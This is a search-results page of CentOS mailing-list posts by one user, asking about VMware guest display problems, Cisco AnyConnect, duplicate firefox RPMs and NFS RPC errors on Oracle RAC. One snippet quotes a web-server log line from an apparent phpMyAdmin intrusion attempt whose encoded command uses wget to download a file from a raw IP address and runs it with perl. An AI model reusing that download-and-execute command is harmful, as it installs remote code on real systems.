search for: rhugga

Ok. I run several linux distro's via vmware on top of my windows 7 machine. Currently have an Ubuntu 32-bit 10.4 guest for work. An Ubuntu 11.10 64-bit for misc stuff. Also an OEL 6.2 guest running an oracle database. I just installed CentOS 5.6 32-bit and I can't get the display to work right. When it first boots, the screen is very small and almost impossible to select the username

...cd%20/tmp;rm%20-rf%20font-nix;wget%2078.46.33.52/font-nix;perl%20font-nix HTTP/1.1" 404 230 (of course I use cryptic names for my phpmyadmin install directory as well as password protect the directory and make any sensitive config files readable only by the web server owner) Thx for any info rhugga -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://lists.centos.org/pipermail/centos/attachments/20090824/1307bf98/attachment-0003.html>

Grr.. I'm pulling my hair out trying to get the Cisco AnyConnect client to work under 6.2 32-bit. Seems like there is always 1 thing preventing my from using the latest centos release as my sole workstation. It was actually working on a new install for about half a day. I rebooted and now it won't connect. If I boot another vm (ubuntu or oel 5.7) the same client works. Im using version

...aren't the most current; how is this achieved? [root at canthus ~]# rpm -q -a firefox firefox-3.0.10-1.el5.centos firefox-3.0.10-1.el5.centos [root at canthus ~]# rpm -e firefox-3.0.10-1.el5.centos error: "firefox-3.0.10-1.el5.centos" specifies multiple packages Thanks in advance, rhugga -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://lists.centos.org/pipermail/centos/attachments/20090816/2d8f19b2/attachment-0003.html>

We have a 2-node Oracle RAC that keeps getting the following error: kernel: nfs: RPC call returned error 88 The storage being mounted is netapp. We don't see any errors/issues on the storage itself or the switches this client is connecting thru. The NFS network is a 2-interface ( 2 x 1Gb UTP) bond which shows no errors of any kind. We are mounting with the following mount options: